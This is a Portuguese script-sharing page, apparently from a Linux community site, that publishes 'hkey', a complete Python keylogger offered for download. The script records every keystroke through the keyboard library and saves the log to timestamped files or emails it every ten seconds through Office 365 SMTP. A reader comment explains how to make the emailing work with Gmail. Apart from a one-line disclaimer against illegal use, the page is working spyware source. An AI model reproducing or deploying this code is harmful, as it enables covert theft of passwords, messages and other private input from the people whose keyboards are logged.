hkey - Keylogger de e-mail

Publicado por henrique (última atualização em 04/10/2022)

[ Hits: 3.686 ]

Homepage: naotem.com

Download hkey.py




Um keylogger de e-mail que pega todos os dados do teclado. Ele exibe e salva em um arquivo quando se esta no serviço de e-mail.
Não funciona no Gmail pois eles n permite q apps de terceiros loguem com e-mail e senha.

Não utilize de maneira ilegal.

  



Esconder código-fonte

#!/bin/python3
# -*- coding: utf-8 -*-
# BY: MRH

import keyboard
import smtplib 
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from sys import argv 
red   = "\033[1;31m"
blue  = "\033[1;34m"
cyan  = "\033[1;36m"
green = "\033[0;32m"
reset = "\033[0;0m"
bold  = "\033[;1m"
reverse = "\033[;7m"
branco = "\033[37m"
gray = "\033[0;37m"
orange = "\033[0;49;33m"
yellow = "\033[0;49;93m"


def ini():
    print('-'* 63)
    print(red + """\n                                          
 |_|    |_|  |_|    |_|  |_|_|_|_|  |_|      |_|  
 |_|    |_|  |_|  |_|    |_|          |_|  |_|    
 |_|_|_|_||  |_|_|       |_|_|_|        |_|      
 |_|    |_|  |_|  |_|    |_|            |_|      
 |_|    |_|  |_|    |_|  |_|_|_|_|      |_|      
                                           
                                           """ + reset)
    if len(argv) != 3 or 'Hh' in argv:
        print(green + "exemplo de uso: ./hkey email password\n".capitalize() + reset)
def main():
    SEND_REPORT_EVERY = 10
    EMAIL_ADDRESS = argv[1]
    EMAIL_PASSWORD = argv[2]
    
    class Keylogger:
        def __init__(self, interval, report_method="email"):
            # we gonna pass SEND_REPORT_EVERY to interval
            self.interval = interval
            self.report_method = report_method
            # this is the string variable that contains the log of all 
            # the keystrokes within `self.interval`
            self.log = ""
            # record start & end datetimes
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()

        def callback(self, event):
            """
            This callback is invoked whenever a keyboard event is occured
            (i.e when a key is released in this example)
            """
            name = event.name
            if len(name) > 1:
                # not a character, special key (e.g ctrl, alt, etc.)
                # uppercase with []
                if name == "space":
                    # " " instead of "space"
                    name = " "
                elif name == "enter":
                    # add a new line whenever an ENTER is pressed
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    # replace spaces with underscores
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
            # finally, add the key name to our global `self.log` variable
            self.log += name
        
        def update_filename(self):
            # construct the filename to be identified by start & end datetimes
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

        def report_to_file(self):
            """This method creates a log file in the current directory that contains
            the current keylogs in the `self.log` variable"""
            # open the file in write mode (create it)
            with open(f"{self.filename}.txt", "w") as f:
                # write the keylogs to the file
                print(self.log, file=f)
            print(yellow + f"[+] Saved {self.filename}.txt")

        def prepare_mail(self, message):
            """Utility function to construct a MIMEMultipart from a text
            It creates an HTML version as well as text version
            to be sent as an email"""
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            # simple paragraph, feel free to edit
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            # after making the mail, convert back as string message
            return msg.as_string()

        def sendmail(self, email, password, message, verbose=1):
            # manages a connection to an SMTP server
            # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            # connect to the SMTP server as TLS mode ( for security )
            server.starttls()
            # login to the email account
            server.login(email, password)
            # send the actual message after preparation
            server.sendmail(email, email, self.prepare_mail(message))
            # terminates the session
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")

        def report(self):
            """
            This function gets called every `self.interval`
            It basically sends keylogs and resets `self.log` variable
            """
            if self.log:
                # if there is something in log, report it
                self.end_dt = datetime.now()
                # update `self.filename`
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                    # if you don't want to print in the console, comment below line
                    print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            # set the thread as daemon (dies when main thread die)
            timer.daemon = True
            # start the timer
            timer.start()

        def start(self):
            # record the start datetime
            self.start_dt = datetime.now()
            # start the keylogger
            keyboard.on_release(callback=self.callback)
            # start reporting the keylogs
            self.report()
            # make a simple message
            print(red + f"{datetime.now()} - Started keylogger\n")
            # block the current thread, wait until CTRL+C is pressed
            keyboard.wait()

        
    if __name__ == "__main__":
        # if you want a keylogger to send to your email
        # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
        # if you want a keylogger to record keylogs to a local file 
        # (and then send it using your favorite method)
        keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
        keylogger.start()





try:
        ini()
        main()
except Exception as e:
        print(red + "Erro: " + str(e) + reset, '\n')
print('-' * 63)

Scripts recomendados

Script em Python 3.6 conectando em um API real da web

Hcrawler - Crawler em Python

Upload gráfico via ftp em GTK

Cliente/Servidor Usando Python

hicmp - Detector de hosts


  

Comentários
[1] Comentário enviado por maurixnovatrento em 23/10/2022 - 16:59h


Para o gmail dá pra permitir acesso a aplicações menos seguras nas configurações. Pelo menos para testes próprio deve funcionar com gmail também.

___________________________________________________________
Conhecimento não se Leva para o Túmulo.
https://github.com/mxnt10


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts